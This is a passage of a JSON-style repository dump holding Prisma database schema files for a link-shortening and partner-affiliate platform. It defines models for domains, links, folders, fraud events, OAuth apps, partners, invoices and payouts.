    "content": "model Domain {\n  id                      String   @id @default(cuid())\n  slug                    String   @unique\n  verified                Boolean  @default(false)\n  placeholder             String?\n  expiredUrl              String?  @db.LongText // URL to redirect to for expired links\n  notFoundUrl             String?  @db.LongText // URL to redirect to for links that don't exist\n  primary                 Boolean  @default(false)\n  archived                Boolean  @default(false)\n  lastChecked             DateTime @default(now())\n  logo                    String?\n  appleAppSiteAssociation Json?\n  assetLinks              Json?\n  deepviewData            Json?    @default(\"{}\")\n\n  linkRetentionDays Int? // default is null (links are retained forever)\n  createdAt         DateTime @default(now())\n  updatedAt         DateTime @updatedAt\n\n  projectId        String?\n  project          Project?          @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  links            Link[]\n  registeredDomain RegisteredDomain?\n  partnerProgram   Program?\n\n  @@index(projectId)\n  @@index(lastChecked(sort: Asc))\n}\n\nmodel RegisteredDomain {\n  id                    String    @id @default(cuid())\n  slug                  String\n  projectId             String\n  domainId              String?   @unique\n  autoRenewalDisabledAt DateTime?\n  renewalFee            Int       @default(1200) // $12\n  expiresAt             DateTime\n  createdAt             DateTime  @default(now())\n  updatedAt             DateTime  @updatedAt\n\n  project Project @relation(fields: [projectId], references: [id])\n  domain  Domain? @relation(fields: [domainId], references: [id], onDelete: SetNull)\n\n  @@index(projectId)\n  @@index(expiresAt(sort: Asc))\n}\n\nmodel DefaultDomains {\n  id          String  @id @default(cuid())\n  dublink     Boolean @default(false)\n  dubsh       Boolean @default(true)\n  chatgpt     Boolean @default(true)\n  sptifi      Boolean @default(true)\n  gitnew      Boolean @default(true)\n  callink     Boolean @default(true)\n  amznid      Boolean @default(true)\n  ggllink     Boolean @default(true)\n  figpage     Boolean @default(true)\n  loooooooong Boolean @default(false)\n  projectId   String  @unique\n  project     Project @relation(fields: [projectId], references: [id], onDelete: Cascade)\n}\n\nenum EmailDomainStatus {\n  pending\n  verified\n  failed\n  temporary_failure\n  not_started\n}\n\nmodel EmailDomain {\n  id             String            @id @default(cuid())\n  workspaceId    String\n  programId      String\n  slug           String            @unique\n  status         EmailDomainStatus @default(pending)\n  resendDomainId String?           @unique\n  lastChecked    DateTime          @default(now())\n  createdAt      DateTime          @default(now())\n  updatedAt      DateTime          @updatedAt\n\n  program Program @relation(fields: [programId], references: [id], onDelete: Cascade)\n\n  @@index(lastChecked(sort: Asc))\n  @@index(programId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/folder.prisma",
    "content": "enum FolderType {\n  default\n  mega\n}\n\nenum FolderAccessLevel {\n  read // can view the links\n  write // can view and move links\n}\n\nenum FolderUserRole {\n  owner // full control\n  editor // can move links to the folder\n  viewer // can view the links\n}\n\nmodel Folder {\n  id          String             @id @default(cuid())\n  name        String\n  description String?            @db.Text\n  projectId   String\n  type        FolderType         @default(default)\n  accessLevel FolderAccessLevel? // Access level of the folder within the workspace\n  createdAt   DateTime           @default(now())\n  updatedAt   DateTime           @updatedAt\n\n  project        Project               @relation(fields: [projectId], references: [id])\n  links          Link[]\n  users          FolderUser[]\n  accessRequests FolderAccessRequest[]\n  dashboard      Dashboard?\n\n  @@unique([name, projectId])\n  @@index(projectId)\n}\n\nmodel FolderUser {\n  id        String          @id @default(cuid())\n  folderId  String\n  userId    String\n  role      FolderUserRole?\n  createdAt DateTime        @default(now())\n  updatedAt DateTime        @updatedAt\n\n  folder Folder @relation(fields: [folderId], references: [id], onDelete: Cascade)\n  user   User   @relation(fields: [userId], references: [id], onDelete: Cascade)\n\n  @@unique([folderId, userId])\n  @@index(userId)\n}\n\nmodel FolderAccessRequest {\n  id        String   @id @default(cuid())\n  folderId  String\n  userId    String\n  createdAt DateTime @default(now())\n\n  folder Folder @relation(fields: [folderId], references: [id], onDelete: Cascade)\n  user   User   @relation(fields: [userId], references: [id], onDelete: Cascade)\n\n  @@unique([folderId, userId])\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/fraud.prisma",
    "content": "enum FraudEventStatus {\n  pending\n  resolved\n}\n\nenum FraudRuleType {\n  customerEmailMatch\n  customerEmailSuspiciousDomain\n  referralSourceBanned\n  paidTrafficDetected\n  partnerCrossProgramBan // Cross-program ban from other programs\n  partnerDuplicatePayoutMethod // Duplicate payout method with other partners\n  partnerFraudReport // Fraud report from other programs\n}\n\nmodel FraudRule {\n  id         String        @id @default(cuid())\n  programId  String\n  type       FraudRuleType\n  config     Json?         @db.Json\n  disabledAt DateTime?\n  createdAt  DateTime      @default(now())\n  updatedAt  DateTime      @updatedAt\n\n  program Program? @relation(fields: [programId], references: [id], onDelete: Cascade)\n\n  @@unique([programId, type])\n}\n\nmodel FraudEventGroup {\n  id               String           @id @default(cuid())\n  programId        String\n  partnerId        String\n  type             FraudRuleType\n  lastEventAt      DateTime?\n  eventCount       Int              @default(0)\n  userId           String?\n  resolutionReason String?          @db.Text\n  resolvedAt       DateTime?\n  status           FraudEventStatus @default(pending)\n  createdAt        DateTime         @default(now())\n  updatedAt        DateTime         @updatedAt\n\n  program           Program           @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partner           Partner           @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  programEnrollment ProgramEnrollment @relation(fields: [programId, partnerId], references: [programId, partnerId], onDelete: Cascade)\n  fraudEvents       FraudEvent[]\n  user              User?             @relation(fields: [userId], references: [id])\n\n  @@index([programId, partnerId, type, status])\n  @@index(partnerId)\n  @@index(userId)\n}\n\nmodel FraudEvent {\n  id                String   @id @default(cuid())\n  fraudEventGroupId String\n  programId         String\n  partnerId         String\n  linkId            String?\n  customerId        String?\n  eventId           String?\n  sourceProgramId   String? // The program that originated the ban/fraud report\n  hash              String\n  metadata          Json?    @db.Json\n  createdAt         DateTime @default(now())\n  updatedAt         DateTime @updatedAt\n\n  fraudEventGroup FraudEventGroup @relation(fields: [fraudEventGroupId], references: [id], onDelete: Cascade)\n  partner         Partner         @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  customer        Customer?       @relation(fields: [customerId], references: [id])\n  link            Link?           @relation(fields: [linkId], references: [id])\n  sourceProgram   Program?        @relation(\"SourceFraudEvents\", fields: [sourceProgramId], references: [id])\n\n  @@index([programId, partnerId, customerId])\n  @@index(partnerId)\n  @@index(customerId)\n  @@index(linkId)\n  @@index(eventId)\n  @@index(hash)\n  @@index(sourceProgramId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/group.prisma",
    "content": "enum PartnerLinkStructure {\n  short\n  query\n  path\n}\n\nmodel PartnerGroup {\n  id                           String               @id @default(cuid())\n  programId                    String\n  name                         String\n  slug                         String\n  color                        String?\n  clickRewardId                String?              @unique\n  leadRewardId                 String?              @unique\n  saleRewardId                 String?              @unique\n  discountId                   String?              @unique\n  linkStructure                PartnerLinkStructure @default(short)\n  additionalLinks              Json?                @db.Json\n  maxPartnerLinks              Int                  @default(0)\n  applicationFormData          Json?                @db.Json\n  applicationFormPublishedAt   DateTime?\n  landerData                   Json?                @db.Json\n  landerPublishedAt            DateTime?\n  logo                         String?\n  wordmark                     String?\n  brandColor                   String?\n  holdingPeriodDays            Int                  @default(0) // number of days to wait before earnings are added to a payout\n  autoApprovePartnersEnabledAt DateTime?\n  workflowId                   String?              @unique\n  utmTemplateId                String?              @unique\n  createdAt                    DateTime             @default(now())\n  updatedAt                    DateTime             @updatedAt\n\n  program                  Program                   @relation(fields: [programId], references: [id], onDelete: Cascade)\n  clickReward              Reward?                   @relation(\"ClickReward\", fields: [clickRewardId], references: [id])\n  leadReward               Reward?                   @relation(\"LeadReward\", fields: [leadRewardId], references: [id])\n  saleReward               Reward?                   @relation(\"SaleReward\", fields: [saleRewardId], references: [id])\n  discount                 Discount?                 @relation(fields: [discountId], references: [id])\n  partners                 ProgramEnrollment[]\n  applications             ProgramApplication[]\n  bounties                 BountyGroup[]\n  campaigns                CampaignGroup[]\n  workflow                 Workflow?                 @relation(fields: [workflowId], references: [id])\n  utmTemplate              UtmTemplate?              @relation(fields: [utmTemplateId], references: [id])\n  partnerGroupDefaultLinks PartnerGroupDefaultLink[]\n\n  @@unique([programId, slug])\n}\n\nmodel PartnerGroupDefaultLink {\n  id        String   @id @default(cuid())\n  programId String\n  groupId   String\n  domain    String\n  url       String\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  program      Program      @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partnerGroup PartnerGroup @relation(fields: [groupId], references: [id], onDelete: Cascade)\n  links        Link[]\n\n  @@unique([groupId, url])\n  @@index(programId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/integration.prisma",
    "content": "model Integration {\n  id          String   @id @default(cuid())\n  userId      String?\n  projectId   String\n  name        String\n  slug        String   @unique\n  description String?\n  readme      String?  @db.LongText\n  developer   String\n  website     String\n  logo        String?\n  screenshots Json?\n  verified    Boolean  @default(false)\n  installUrl  String?  @db.Text\n  guideUrl    String?  @db.Text\n  category    String?\n  comingSoon  Boolean  @default(false)\n  createdAt   DateTime @default(now())\n  updatedAt   DateTime @updatedAt\n\n  user          User?                  @relation(fields: [userId], references: [id], onDelete: SetNull)\n  project       Project                @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  oAuthApp      OAuthApp?\n  installations InstalledIntegration[]\n\n  @@index(projectId)\n  @@index(userId)\n}\n\nmodel InstalledIntegration {\n  id            String   @id @default(cuid())\n  userId        String // user who installed the integration\n  integrationId String // integration that was installed\n  projectId     String // workspace where integration was installed\n  createdAt     DateTime @default(now())\n  updatedAt     DateTime @updatedAt\n  credentials   Json?\n  settings      Json?\n\n  user          User                @relation(fields: [userId], references: [id], onDelete: Cascade)\n  integration   Integration         @relation(fields: [integrationId], references: [id], onDelete: Cascade)\n  project       Project             @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  refreshTokens OAuthRefreshToken[]\n  accessTokens  RestrictedToken[]\n  webhooks      Webhook[]\n\n  @@unique([userId, integrationId, projectId])\n  @@index(projectId)\n  @@index(integrationId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/invoice.prisma",
    "content": "enum InvoiceStatus {\n  processing\n  completed\n  failed\n}\n\nenum InvoiceType {\n  partnerPayout\n  domainRenewal\n}\n\nenum PaymentMethod {\n  card\n  ach\n  ach_fast\n  sepa\n  acss\n}\n\nmodel Invoice {\n  id                   String            @id @default(cuid())\n  programId            String?\n  workspaceId          String\n  number               String?           @unique // This starts with the customer's unique invoicePrefix\n  status               InvoiceStatus     @default(processing)\n  type                 InvoiceType       @default(partnerPayout)\n  payoutMode           ProgramPayoutMode @default(internal)\n  paymentMethod        PaymentMethod?\n  amount               Int               @default(0) // amount in usd cents\n  fee                  Int               @default(0) // fee in usd cents\n  total                Int               @default(0) // amount + fee in usd cents\n  externalAmount       Int               @default(0) // amount in usd cents for external payouts\n  receiptUrl           String?           @db.Text\n  failedReason         String?           @db.Text\n  registeredDomains    Json?             @db.Json // Array of RegisteredDomain\n  stripeChargeMetadata Json?             @db.Json // Stripe charge metadata\n  failedAttempts       Int               @default(0) // number of failed attempts to charge the invoice\n  createdAt            DateTime          @default(now())\n  paidAt               DateTime?\n\n  payouts   Payout[]\n  program   Program? @relation(fields: [programId], references: [id])\n  workspace Project  @relation(fields: [workspaceId], references: [id])\n\n  @@index(programId)\n  @@index(workspaceId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/jackson.prisma",
    "content": "model jackson_index {\n  id       Int    @id @default(autoincrement())\n  key      String @db.VarChar(250)\n  storeKey String @db.VarChar(250)\n\n  @@index([key, storeKey], map: \"_jackson_index_key_store\")\n}\n\nmodel jackson_store {\n  key        String    @id @db.VarChar(250)\n  value      String    @db.Text\n  iv         String?   @db.VarChar(64)\n  tag        String?   @db.VarChar(64)\n  namespace  String?   @db.VarChar(64)\n  createdAt  DateTime  @default(now()) @db.Timestamp(0)\n  modifiedAt DateTime? @db.Timestamp(0)\n\n  @@index([namespace], map: \"_jackson_store_namespace\")\n}\n\nmodel jackson_ttl {\n  key       String @id @db.VarChar(250)\n  expiresAt BigInt\n\n  @@index([expiresAt], map: \"_jackson_ttl_expires_at\")\n}\n"
  },
  {
    "path": "packages/prisma/schema/link.prisma",
    "content": "model Link {\n  id              String    @id @default(cuid())\n  domain          String // domain of the link (e.g. dub.sh) – also stored on Redis\n  key             String // key of the link (e.g. /github) – also stored on Redis\n  url             String    @db.LongText // target url (e.g. https://github.com/dubinc/dub) – also stored on Redis\n  shortLink       String    @unique @db.VarChar(400) // new column for the full short link\n  archived        Boolean   @default(false) // whether the link is archived or not\n  expiresAt       DateTime? // when the link expires – stored on Redis via ttl\n  expiredUrl      String?   @db.Text // URL to redirect the user to when the link is expired\n  disabledAt      DateTime? // when the link was disabled\n  password        String? // password to access the link\n  trackConversion Boolean   @default(false) // whether to track conversions or not\n  proxy           Boolean   @default(false) // Proxy to use custom OG tags (stored on redis) – if false, will use OG tags from target url\n  title           String? // OG title for the link (e.g. Dub - open-source link attribution platform)\n  description     String?   @db.VarChar(280) // OG description for the link (e.g. The modern link attribution platform for short links, conversion tracking, and affiliate programs.)\n  image           String?   @db.LongText // OG image for the link (e.g. https://d.to/og)\n  video           String?   @db.Text // OG video for the link\n\n  // UTM parameters\n  utm_source   String? // UTM source for the link (e.g. youtube.com)\n  utm_medium   String? // UTM medium for the link (e.g. social)\n  utm_campaign String? // UTM campaign for the link (e.g. summer-sale)\n  utm_term     String? // UTM term for the link (e.g. dub)\n  utm_content  String? // UTM content for the link (e.g. description)\n\n  rewrite Boolean @default(false) // whether to rewrite the link or not\n\n  linkRetentionCleanupDisabledAt DateTime? // When link retention cleanup (see domain.linkRetentionDays) was explicitly disabled\n  doIndex                        Boolean   @default(false) // we don't index short links by default\n\n  // Custom device targeting\n  ios     String? @db.Text // custom link for iOS devices\n  android String? @db.Text // custom link for Android devices\n  geo     Json?   @db.Json // custom link for specific countries\n\n  // A/B Testing\n  testVariants    Json?     @db.Json\n  testStartedAt   DateTime? // When tests were started\n  testCompletedAt DateTime? // When tests were or will be completed\n\n  // User who created the link\n  user   User?   @relation(fields: [userId], references: [id])\n  userId String?\n\n  // Project that the link belongs to\n  project   Project? @relation(fields: [projectId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  projectId String?\n\n  folderId String?\n  folder   Folder? @relation(fields: [folderId], references: [id], onUpdate: Cascade, onDelete: SetNull)\n\n  // External & tenant IDs (for API usage + multi-tenancy)\n  externalId String?\n  tenantId   String?\n\n  publicStats Boolean @default(false) // whether to show public stats or not\n  clicks      Int     @default(0) // number of clicks\n  leads       Int     @default(0) // number of leads\n  conversions Int     @default(0) // number of leads that converted to sales\n  sales       Int     @default(0) // number of sales (includes recurring sales)\n  saleAmount  BigInt  @default(0) // total revenue from sales (in cents)\n\n  lastClicked      DateTime? // when the link was last clicked\n  lastLeadAt       DateTime? // when the link last brought in a new lead\n  lastConversionAt DateTime? // when the link last brought in a new conversion\n  createdAt        DateTime  @default(now())\n  updatedAt        DateTime  @updatedAt\n\n  // Link short domain\n  shortDomain Domain @relation(fields: [domain], references: [slug])\n\n  // Link tags\n  tags LinkTag[]\n\n  // Link webhooks\n  webhooks LinkWebhook[]\n\n  // Comments on the particular shortlink\n  comments String? @db.Text\n\n  dashboard Dashboard?\n\n  programId                 String?\n  program                   Program?                 @relation(fields: [programId], references: [id])\n  partnerId                 String?\n  partner                   Partner?                 @relation(fields: [partnerId], references: [id])\n  programEnrollment         ProgramEnrollment?       @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  partnerGroupDefaultLinkId String?\n  partnerGroupDefaultLink   PartnerGroupDefaultLink? @relation(fields: [partnerGroupDefaultLinkId], references: [id])\n  discountCode              DiscountCode?\n  customers                 Customer[]\n  commissions               Commission[]\n  fraudEvents               FraudEvent[]\n\n  @@unique([domain, key]) // for getting a link by domain and key\n  @@unique([projectId, externalId]) // for getting a link by externalId\n  @@index([projectId, tenantId]) // for filtering by tenantId\n  @@index([projectId, url(length: 500)]) // for upserting a link by URL\n  @@index([projectId, folderId, archived, createdAt(sort: Desc)]) // most getLinksForWorkspace queries\n  @@index([programId, partnerId]) // for getting a referral link (programId + partnerId)\n  @@index(partnerId) // for getting links by partnerId\n  @@index([domain, createdAt]) // for bulk link deletion workflows (by domain) + deleting old short-lived links\n  @@index(folderId) // used in /api/folders\n  @@index(userId) // for relation to User table, used in /api/cron/cleanup/e2e-tests too\n  @@index(partnerGroupDefaultLinkId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/message.prisma",
    "content": "enum MessageType {\n  direct\n  campaign\n}\n\nmodel Message {\n  id        String @id @default(cuid())\n  programId String\n  partnerId String\n\n  senderUserId    String\n  senderPartnerId String? // Populated only if the sender is a partner\n\n  type    MessageType @default(direct)\n  subject String? // Only for Campaign\n  text    String      @db.Text\n\n  readInApp   DateTime?\n  readInEmail DateTime?\n  createdAt   DateTime  @default(now())\n  updatedAt   DateTime  @updatedAt\n\n  program           Program             @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partner           Partner             @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n  programEnrollment ProgramEnrollment   @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  senderUser        User                @relation(fields: [senderUserId], references: [id], onDelete: Cascade)\n  senderPartner     Partner?            @relation(\"SenderPartner\", fields: [senderPartnerId], references: [id], onDelete: Cascade)\n  emails            NotificationEmail[]\n\n  @@index([programId, partnerId])\n  @@index(partnerId)\n  @@index(senderPartnerId)\n  @@index(senderUserId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/misc.prisma",
    "content": "model YearInReview {\n  id   String @id @default(cuid())\n  year Int\n\n  totalLinks   Int\n  totalClicks  Int\n  topLinks     Json\n  topCountries Json\n\n  workspaceId String\n  workspace   Project @relation(fields: [workspaceId], references: [id], onDelete: Cascade)\n\n  createdAt DateTime  @default(now())\n  sentAt    DateTime?\n\n  @@index(workspaceId)\n}\n\nmodel PartnerRewind {\n  id   String @id @default(cuid())\n  year Int\n\n  totalClicks   Int\n  totalLeads    Int\n  totalRevenue  Int\n  totalEarnings Int\n\n  partnerId String\n  partner   Partner @relation(fields: [partnerId], references: [id])\n\n  createdAt DateTime  @default(now())\n  sentAt    DateTime?\n\n  @@unique([partnerId, year])\n}\n"
  },
  {
    "path": "packages/prisma/schema/network.prisma",
    "content": "enum Category {\n  Artificial_Intelligence\n  Development\n  Design\n  Productivity\n  Finance\n  Marketing\n  Ecommerce\n  Security\n  Education\n  Health\n  Consumer\n  // Prediction_Markets\n}\n\nmodel ProgramCategory {\n  programId String\n  category  Category\n\n  program Program @relation(fields: [programId], references: [id], onDelete: Cascade)\n\n  @@unique([programId, category])\n}\n\nmodel ProgramSimilarity {\n  id                         String @id @default(cuid())\n  programId                  String\n  similarProgramId           String\n  similarityScore            Float\n  categorySimilarityScore    Float\n  partnerSimilarityScore     Float\n  performanceSimilarityScore Float\n\n  program        Program @relation(fields: [programId], references: [id], onDelete: Cascade)\n  similarProgram Program @relation(\"SimilarProgram\", fields: [similarProgramId], references: [id], onDelete: Cascade)\n\n  @@unique([programId, similarProgramId])\n  @@index([programId, similarityScore])\n  @@index(similarProgramId)\n}\n\nmodel DiscoveredPartner {\n  id        String @id @default(cuid())\n  programId String\n  partnerId String\n\n  starredAt  DateTime?\n  ignoredAt  DateTime?\n  invitedAt  DateTime?\n  messagedAt DateTime?\n\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  program Program @relation(fields: [programId], references: [id], onDelete: Cascade)\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([programId, partnerId])\n  @@index(partnerId)\n}\n\n// TODO: remove after we refactor all partner.industryInterests to use programCategory instead\nenum IndustryInterest {\n  SaaS\n  DevTool\n  AI\n  Creative_And_Design\n  Productivity_Software\n  Marketing\n  Gaming\n  Finance\n  Sales\n  Ecommerce\n  Customer_Service_And_Support\n  Content_Management\n  Human_Resources\n  Security\n  Analytics_And_Data\n  Social_Media\n  Consumer_Tech\n  Education_And_Learning\n  Health_And_Fitness\n  Food_And_Beverage\n  Travel_And_Lifestyle\n  Entertainment_And_Media\n  Sports\n  Science_And_Engineering\n}\n"
  },
  {
    "path": "packages/prisma/schema/notification.prisma",
    "content": "enum NotificationEmailType {\n  Message\n  Bounty\n  Campaign\n}\n\nmodel NotificationEmail {\n  id              String                @id @default(cuid())\n  emailId         String                @unique // Resend email id\n  type            NotificationEmailType\n  messageId       String?\n  bountyId        String?\n  campaignId      String?\n  programId       String?\n  partnerId       String?\n  recipientUserId String?\n  deliveredAt     DateTime?\n  openedAt        DateTime?\n  bouncedAt       DateTime?\n  createdAt       DateTime              @default(now())\n\n  message  Message?  @relation(fields: [messageId], references: [id])\n  bounty   Bounty?   @relation(fields: [bountyId], references: [id])\n  campaign Campaign? @relation(fields: [campaignId], references: [id])\n  partner  Partner?  @relation(fields: [partnerId], references: [id])\n\n  @@index(type)\n  @@index(messageId)\n  @@index(bountyId)\n  @@index(campaignId)\n  @@index(partnerId)\n}\n\nmodel UserNotificationPreferences {\n  id             String  @id @default(cuid())\n  userId         String  @unique\n  dubLinks       Boolean @default(true)\n  dubPartners    Boolean @default(true)\n  partnerAccount Boolean @default(true)\n\n  user User @relation(fields: [userId], references: [id], onDelete: Cascade)\n}\n\n// TODO: update this to WorkspaceNotificationPreferences\nmodel NotificationPreference {\n  id                         String  @id @default(cuid())\n  projectUserId              String  @unique\n  linkUsageSummary           Boolean @default(true)\n  domainConfigurationUpdates Boolean @default(true)\n  newPartnerSale             Boolean @default(true)\n  newPartnerApplication      Boolean @default(false)\n  pendingApplicationsSummary Boolean @default(true)\n  newBountySubmitted         Boolean @default(true)\n  newMessageFromPartner      Boolean @default(true)\n  fraudEventsSummary         Boolean @default(true)\n\n  projectUser ProjectUsers @relation(fields: [projectUserId], references: [id], onDelete: Cascade)\n}\n\nmodel PartnerNotificationPreferences {\n  id            String @id @default(cuid())\n  partnerUserId String @unique\n\n  commissionCreated     Boolean @default(true)\n  applicationApproved   Boolean @default(true)\n  newMessageFromProgram Boolean @default(true)\n  marketingCampaign     Boolean @default(true)\n  connectPayoutReminder Boolean @default(true)\n\n  partnerUser PartnerUser @relation(fields: [partnerUserId], references: [id], onDelete: Cascade)\n}\n"
  },
  {
    "path": "packages/prisma/schema/oauth.prisma",
    "content": "model OAuthApp {\n  id                  String  @id @default(cuid())\n  integrationId       String  @unique\n  clientId            String  @unique\n  hashedClientSecret  String\n  partialClientSecret String\n  redirectUris        Json\n  pkce                Boolean @default(false)\n\n  oAuthCodes  OAuthCode[]\n  integration Integration? @relation(fields: [integrationId], references: [id], onDelete: Cascade)\n}\n\nmodel OAuthCode {\n  id                  String   @id @default(cuid())\n  clientId            String\n  userId              String // User who granted access\n  projectId           String // Workspace that user granted access to\n  code                String   @unique\n  scopes              String?\n  redirectUri         String\n  codeChallenge       String?\n  codeChallengeMethod String?\n  expiresAt           DateTime\n  createdAt           DateTime @default(now())\n\n  oAuthApp OAuthApp @relation(fields: [clientId], references: [clientId], onDelete: Cascade)\n  user     User     @relation(fields: [userId], references: [id], onDelete: Cascade)\n  project  Project  @relation(fields: [projectId], references: [id], onDelete: Cascade)\n\n  @@index([clientId])\n  @@index([userId])\n  @@index([projectId])\n}\n\nmodel OAuthRefreshToken {\n  id                 String   @id @default(cuid())\n  installationId     String\n  accessTokenId      String\n  hashedRefreshToken String   @unique\n  expiresAt          DateTime\n  createdAt          DateTime @default(now())\n\n  accessToken          RestrictedToken      @relation(fields: [accessTokenId], references: [id], onDelete: Cascade)\n  installedIntegration InstalledIntegration @relation(fields: [installationId], references: [id], onDelete: Cascade)\n\n  @@index([installationId])\n  @@index([accessTokenId])\n}\n"
  },
  {
    "path": "packages/prisma/schema/partner.prisma",
    "content": "enum PartnerRole {\n  owner\n  member\n}\n\nenum PartnerProfileType {\n  individual\n  company\n}\n\nenum MonthlyTraffic {\n  ZeroToOneThousand\n  OneThousandToTenThousand\n  TenThousandToFiftyThousand\n  FiftyThousandToOneHundredThousand\n  OneHundredThousandPlus\n}\n\nenum PartnerPayoutMethod {\n  connect\n  stablecoin\n  paypal\n}\n\nmodel Partner {\n  id          String             @id @default(cuid())\n  name        String\n  companyName String?\n  profileType PartnerProfileType @default(individual)\n  email       String?            @unique\n  image       String?            @db.Text\n  description String?            @db.Text\n  country     String?\n\n  // payout fields\n  defaultPayoutMethod          PartnerPayoutMethod?\n  payoutsEnabledAt             DateTime?\n  connectPayoutsLastRemindedAt DateTime?\n  paypalEmail                  String?              @unique\n  stripeConnectId              String?              @unique\n  stripeRecipientId            String?              @unique\n  payoutMethodHash             String?\n  cryptoWalletAddress          String?\n\n  // timestamp fields\n  createdAt      DateTime  @default(now())\n  updatedAt      DateTime  @updatedAt\n  discoverableAt DateTime?\n  trustedAt      DateTime?\n\n  // miscellaneous fields\n  invoiceSettings  Json?\n  changeHistoryLog Json?\n\n  programs                   ProgramEnrollment[]\n  users                      PartnerUser[]\n  invites                    PartnerInvite[]\n  links                      Link[]\n  customers                  Customer[]\n  payouts                    Payout[]\n  commissions                Commission[]\n  bountySubmissions          BountySubmission[]\n  postbacks                  Postback[]\n  messages                   Message[]\n  sentMessages               Message[]                          @relation(\"SenderPartner\")\n  comments                   PartnerComment[]\n  discountCodes              DiscountCode[]\n  notificationEmails         NotificationEmail[]\n  monthlyTraffic             MonthlyTraffic?\n  industryInterests          PartnerIndustryInterest[]\n  preferredEarningStructures PartnerPreferredEarningStructure[]\n  salesChannels              PartnerSalesChannel[]\n  discoveredByPrograms       DiscoveredPartner[]\n  fraudEventGroups           FraudEventGroup[]\n  fraudEvents                FraudEvent[]\n  partnerRewinds             PartnerRewind[]\n  platforms                  PartnerPlatform[]\n  referrals                  PartnerReferral[]\n\n  @@index(country)\n  @@index(discoverableAt)\n  @@index(trustedAt)\n  @@index(payoutMethodHash)\n  @@index(cryptoWalletAddress)\n  @@fulltext([email, name, companyName]) // For full-text search\n}\n\nmodel PartnerInvite {\n  email     String\n  expires   DateTime\n  partnerId String\n  role      PartnerRole @default(member)\n  createdAt DateTime    @default(now())\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([email, partnerId])\n  @@index(partnerId)\n}\n\nmodel PartnerUser {\n  id        String      @id @default(cuid())\n  role      PartnerRole @default(member)\n  userId    String\n  partnerId String\n  createdAt DateTime    @default(now())\n  updatedAt DateTime    @updatedAt\n\n  user    User    @relation(fields: [userId], references: [id], onDelete: Cascade)\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  notificationPreferences PartnerNotificationPreferences?\n\n  @@unique([userId, partnerId])\n  @@index(partnerId)\n}\n\nmodel PartnerIndustryInterest {\n  partnerId        String\n  industryInterest IndustryInterest\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([partnerId, industryInterest])\n}\n\nenum PreferredEarningStructure {\n  Revenue_Share\n  Per_Lead\n  Per_Sale\n  Per_Click\n  One_Time_Payment\n}\n\nmodel PartnerPreferredEarningStructure {\n  partnerId                 String\n  preferredEarningStructure PreferredEarningStructure\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([partnerId, preferredEarningStructure])\n}\n\nenum SalesChannel {\n  Blogs\n  Coupons\n  Direct_Reselling\n  Newsletters\n  Social_Media\n  Events\n  Company_Referrals\n}\n\nmodel PartnerSalesChannel {\n  partnerId    String\n  salesChannel SalesChannel\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([partnerId, salesChannel])\n}\n"
  },
  {
    "path": "packages/prisma/schema/payout.prisma",
    "content": "enum PayoutStatus {\n  pending\n  processing\n  processed\n  sent\n  completed\n  failed\n  canceled\n}\n\nenum PayoutMode {\n  internal\n  external\n}\n\nmodel Payout {\n  id                  String               @id @default(cuid())\n  programId           String\n  partnerId           String\n  invoiceId           String?\n  amount              Int                  @default(0)\n  currency            String               @default(\"USD\")\n  status              PayoutStatus         @default(pending)\n  mode                PayoutMode?\n  method              PartnerPayoutMethod?\n  description         String?\n  periodStart         DateTime?\n  periodEnd           DateTime?\n  paypalTransferId    String?              @unique\n  stripeTransferId    String?\n  stripePayoutId      String?\n  stripePayoutTraceId String?              @db.Text\n  failureReason       String?              @db.Text\n  webhookEventId      String?              @unique // only for external payouts\n  createdAt           DateTime             @default(now())\n  updatedAt           DateTime             @updatedAt\n\n  userId      String? // user who made the payout\n  initiatedAt DateTime?\n  paidAt      DateTime?\n\n  program           Program           @relation(fields: [programId], references: [id])\n  partner           Partner           @relation(fields: [partnerId], references: [id])\n  programEnrollment ProgramEnrollment @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  invoice           Invoice?          @relation(fields: [invoiceId], references: [id])\n  user              User?             @relation(fields: [userId], references: [id])\n  commissions       Commission[]\n\n  @@index([programId, status])\n  @@index([programId, partnerId]) // for programEnrollment relation\n  @@index(partnerId)\n  @@index(invoiceId)\n  @@index(status)\n  @@index(method)\n  @@index(userId)\n  @@index(stripePayoutId)\n  @@index(stripeTransferId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/platform.prisma",
